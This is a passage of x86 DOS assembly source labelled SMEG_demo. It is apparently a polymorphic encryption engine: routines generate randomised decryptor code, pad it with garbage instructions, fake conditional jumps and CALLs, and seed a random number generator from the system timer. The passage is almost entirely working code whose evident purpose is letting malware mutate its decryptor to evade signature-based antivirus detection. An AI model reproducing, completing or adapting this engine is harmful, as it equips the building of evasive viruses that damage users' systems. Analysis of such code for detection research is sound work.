fill_reg_reg1: ror al,cl ; [reg], reg
fill_reg_field: xor cl,cl ; fill bottom 3 bits only
jmp short fill_field
fill_mod_n_reg: call fill_mod_field ; fill mod field as usual
mov al,dh ; fill reg field with the
jmp short fill_reg_field ; register that holds the
; data to be decrypted
fill_reg_reg2: call fill_field
mov al,dh
jmp short fill_reg_reg1
encode_routine2:mov word ptr [bp.which_tbl],offset encode_tbl1 - 6
process_all: lodsb ; get a byte
cmp al,-1 ; are we at the end?
jne process_byte ; no, keep going
lodsb ; else get returncode and exit
retn
process_byte: push si ax
mov cl,4
call process_nibble
xor cl,cl
pop ax
call process_nibble
pop si
jmp short process_all
process_nibble: ror al,cl ; only use the part of
and ax,0F ; the byte that we want
jnz no_switch_table
and cl,cl ; if the lower half of byte=0,
jz switch_tables ; switch tables
mov [bp.loop_top],di ; otherwise save this location
retn ; as the top of the loop
switch_tables: mov word ptr [bp.which_tbl],offset encode_tbl2 - 6
retn
no_switch_table:push ax
call garble_more
pop ax
add ax,ax ; calculate AX*6+[bp.which_tbl]
mov bx,ax
add ax,ax
add ax,bx
add ax,[bp.which_tbl]
mov word ptr [bp.which_tbl],offset encode_tbl1 - 6
xchg si,ax
lodsb
mov dh,al ; dh holds first byte
lodsb
xchg ah,al ; ah holds second byte
call encode_it ; process it
lodsb ; now ah holds the next byte
xchg ah,al
call encode_it ; process it
lodsb ; get the next byte
mov dl,al ; it tells us which
and ax,0F ; value to write in
add ax,ax ; this is the modifier
add ax,offset write_table ; i.e. pointer, encryption
xchg bx,ax ; value, etc.
jmp word ptr [bx]
write_nothing: retn
write_cryptval: mov al,[bp.cryptval]
stosb
retn
write_pointer_patch: ; save location of pointer initialisation
mov [bp.pointer_patch],di
stosw
retn
write_counter_patch: ; save location of counter initialisation
mov [bp.counter_patch],di
stosw
retn
write_ptr_offset: ; write XXXX of [bx+XXXX]
mov ax,[bp.ptr_offsets]
mov [bp.pointer_fixup],ax
stosw
retn
write_dl: mov al,dl ; write lower half of top
mov cl,4 ; byte of dl as a word
shr al,cl ; used as amount to increment
and ax,0F
stosw
retn
garble_some: push si
mov dx,3 ; garble 2-5 times
call multiple_garble
pop si
retn
garble_more: mov dx,7
multiple_garble:call rnd_get
and ax,dx
inc ax
inc ax
xchg cx,ax
garble_again: push cx ; save garble count
call garble_once ; garble
pop cx ; restore garble count
loop garble_again
cmp [bp.cJMP_patch],cx ; cJMP_patch == 0? i.e. is
je skip_finish_cJMP ; there an unfinished cJMP?
call finish_cJMP ; if so, finish it
skip_finish_cJMP:call many_nonbranch_garble ; garble garble
mov bx,[bp.nJMP_patch] ; check if pending nJMP
and bx,bx
jnz loc_0047 ; if so, keep going
retn
loc_0047: ; xref 4028:0996
mov al,0C3 ; encode a RETN
stosb
mov ax,di
sub ax,bx
dec ax
dec ax
mov [bx],ax
mov [bp.CALL_patch],bx
mov word ptr [bp.nJMP_patch],0
many_nonbranch_garble:
call rnd_get ; do large instruction
and ax,3 ; garble from 3 to 6 times
add al,3
xchg cx,ax
many_nonbranch_garble_loop:
push cx
call not_branch_garble
pop cx
loop many_nonbranch_garble_loop
retn
; finish_cJMP simply encodes a few instructions between the conditional
; jmp and its target, and then sets the destination of the jmp to be after
; the inserted instructions.
finish_cJMP: mov ax,di ; get current location
mov bx,[bp.cJMP_patch] ; get previous location
sub ax,bx
dec al ; calculate offset
jnz go_patch_cJMP ; if nothing in between,
call not_branch_garble ; fill in some instructions
jmp short finish_cJMP ; and do this again
go_patch_cJMP: cmp ax,7F ; are we close enough?
jbe patch_cJMP ; if so, finish this now
xor al,al ; if not, encode cJMP $+2
patch_cJMP: mov [bx],al ; patch the cJMP destination
mov word ptr [bp.cJMP_patch],0 ; clear usage flag
retn
set_reg_mask: and cl,0F8 ; clear bottom 3 bits
mov bx,bp
db 83,0C3,6 ; add bx,6
mov dh,7 ; assume one of 8 registers
test dl,4 ; can we use any register?
jnz set_reg_mask_exit ; if so, quit
db 83,0C3,3 ; add bx,3 ; otherwise, set mask so we
mov dh,3 ; only choose from regs 3-6
set_reg_mask_exit:
retn
choose_register:call rnd_get ; get random number
xor ah,ah ; clear high byte
and al,dh ; use mask from set_reg_mask
add bx,ax
mov al,[bx] ; get the register number
test ch,1 ; byte or word register?
jnz choose_reg_done ; if word, we are okay
test byte ptr [si-2],4 ; otherwise, check if we can
jnz choose_reg_done ; take only half the register
mov ah,al ; uh oh, we can't, so...
and al,3 ; is it one of the garbage
cmp al,[bp+9] ; registers?
mov al,ah ; if so, we are done
jz choose_reg_done
mov al,[bp+9]
cmp al,4 ; ax,cx,dx, or bx?
jb werd ; to yer muthah!
pop ax ; pop off return location
retn ; go to caller's caller
werd: and ah,4 ; make either byte or word
or al,ah ; register
choose_reg_done:retn
garble_once: call rnd_get
cmp ah,0C8 ; randomly go to either
jbe other_garble ; here ...
jmp branch_garble ; ... or here
not_branch_garble:
call rnd_get
other_garble: cmp al,0F0
jbe larger_instr ; mostly do larger instructions
jmp do_one_byte ; 1/16 chance
larger_instr: and ax,1F ; normalise random number
cmp al,[bp.lastgarble] ; is it the same as before?
je not_branch_garble ; then try again, since we
; don't want two of the same
; sort in a row
mov [bp.lastgarble],al ; else remember this one
add ax,ax ; and process it
add ax,offset garble_table
xchg si,ax
lodsw ; get table entry
xchg cx,ax ; keep it in CX
mov dl,cl ; pick out the bottom
and dl,3 ; mask out low 2 bits
call rnd_get
and al,3 ; this line unnecessary
and al,dl ; patch it into the top
or ch,al ; byte for variable opcodes
; (e.g. allows byte & word
; forms of opcode to use the
; same table entry)
mov dl,cl
and dl,0C0 ; mask out mod field
cmp dl,0C0 ; does it indicate register
mov dl,cl ; operation? i.e. 2 regs
jz no_memory ; if so, branch
call set_reg_mask ; otherwise, process memory
call rnd_get ; and register operation
and al,0C0 ; clear all but top 2 bits
or cl,al ; fill in the field
rol al,1
rol al,1
mov dl,al
call rnd_get ; generate the registers to use
and al,7 ; in memory access,i.e. [bx+si]
or cl,al ; patch into 2nd byte of instr
cmp dl,3
je fill_in_rm
cmp al,6
jne force_byte
mov dl,2 ; alter mask to choose AX or DX
and cl,3F
jmp short fill_in_rm
force_byte: and ch,not 1 ; change to byte data
; "byte sized"
fill_in_rm: call choose_register ; move register into
shl al,1 ; the rm field
shl al,1
shl al,1
finish_larger: or cl,al ; combine data
xchg cx,ax ; move it to the right register
xchg ah,al ; reverse byte order
stosw ; write the instruction
and dl,dl ; needs data bytes?
jnz needs_data
retn
needs_data: cmp dl,3 ; check length of instruction
jne do_data_bytes
retn
do_data_bytes: call rnd_get ; keep the random number
and al,3F ; under 40h
stosb ; write the byte
dec dl ; decrement bytes to write
jnz do_data_bytes
retn
no_memory: call set_reg_mask
call choose_register
mov ah,ch ; get the opcode and clear the
and ah,0FE ; size bit for now
cmp ah,0F6
jne not_NOT_NEG
test cl,10 ; is it TEST instruction?
jz not_NOT_NEG ; if it is, go find the number
; of data bytes it needs, else
; it is NOT or NEG, so there're
no_data_bytes: xor dl,dl ; no data bytes
jmp short finish_larger
not_NOT_NEG: and ah,0FC ; is it a shift or rotate?
cmp ah,0D0
jne set_data_length ; if not, calculate # data
; bytes needed, else
jmp short no_data_bytes ; we don't need any
set_data_length:test ch,1 ; byte or word of data?
mov dl,2 ; assume word
jnz finish_larger ; continue if so
dec dl ; DEC DX is better!!!
jmp short finish_larger ; otherwise adjust to data
do_one_byte: and al,7
mov bx,offset onebyte_table
xlat
cmp al,48 ; DEC?
je inc_or_dec
cmp al,40 ; or INC?
jne encode_1byte
inc_or_dec: mov cl,al
call rnd_get ; get a garbage register
and al,3
mov bx,bp ; can we say "lea", boys and
db 83,0C3,9 ; add bx,9 ; girls?
xlat ; look up the register
or al,cl ; fill in the register field
encode_1byte: stosb
retn
branch_garble: cmp word ptr [bp.cJMP_patch],0 ; is there an unfinished
je no_pending_cJMP ; conditional jmp?
jmp finish_cJMP ; if so, finish it
no_pending_cJMP:call rnd_get
cmp ah,6E
ja do_near_JMP
do_cond_jmp: and al,0F ; encode a conditional
or al,70 ; jmp
stosb
mov [bp.cJMP_patch],di ; save target offset
stosb
retn
do_near_JMP: cmp word ptr [bp.nJMP_patch],0 ; is there an unfinished
jne do_cond_jmp ; near JMP pending?
call rnd_get ; if not, encode one
cmp al,78 ; either just jmp past
jbe encode_CALL ; or call it too
mov al,0E9 ; encode near JMP
stosb
mov [bp.nJMP_patch],di ; save location to patch
stosw
call rnd_get
cmp al,0AA
jbe forward_CALL
go_not_branch_garble:
jmp not_branch_garble
forward_CALL: cmp word ptr [bp.last_CALL],0 ; is there a garbage CALL
je go_not_branch_garble ; we can patch?
push di ; if there is, patch the CALL
xchg di,ax ; for here so there are CALLs
dec ax ; forwards as well as back-
dec ax ; wards
mov di,[bp.last_CALL]
sub ax,di
stosw
pop di
jmp not_branch_garble
encode_CALL: cmp word ptr [bp.CALL_patch],0 ; is there one pending?
je do_cond_jmp
mov al,0E8 ; encode a CALL
stosb
cmp word ptr [bp.last_CALL],0
je store_CALL_loc
call rnd_get ; 1/2 chance of replacing
and al,7 ; it (random so it's not
cmp al,4 ; too predictable)
jae fill_in_offset
store_CALL_loc: mov [bp.last_CALL],di ; save ptr to CALL offset
fill_in_offset: mov ax,di ; calculate CALL offset
sub ax,[bp.CALL_patch]
neg ax
stosw
retn
rnd_init: mov ah,2C ; get time
int 21
mov ax,3E1
mul dx
add ax,cx
xchg cx,ax
in ax,40 ; timer port
add ax,cx
mov [bp.rng_buffer],ax
retn
rnd_get: push bx cx dx
mov ax,[bp.rng_buffer]
mov cx,3E1
mul cx
mov cx,ax
xor dx,dx
mov bx,35
div bx
add dx,cx
js no_fix_seed1
in ax,40 ; port 40, 8253 timer 0 clock
add dx,ax
no_fix_seed1: cmp dx,[bp.rng_buffer]
jne no_fix_seed2
neg dx
in ax,40 ; port 40, 8253 timer 0 clock
xor dx,ax
no_fix_seed2: mov [bp.rng_buffer],dx
xchg dx,ax
pop dx cx bx
retn
heap:
data_area db 02dh dup (?)
target_area:
end SMEG_demo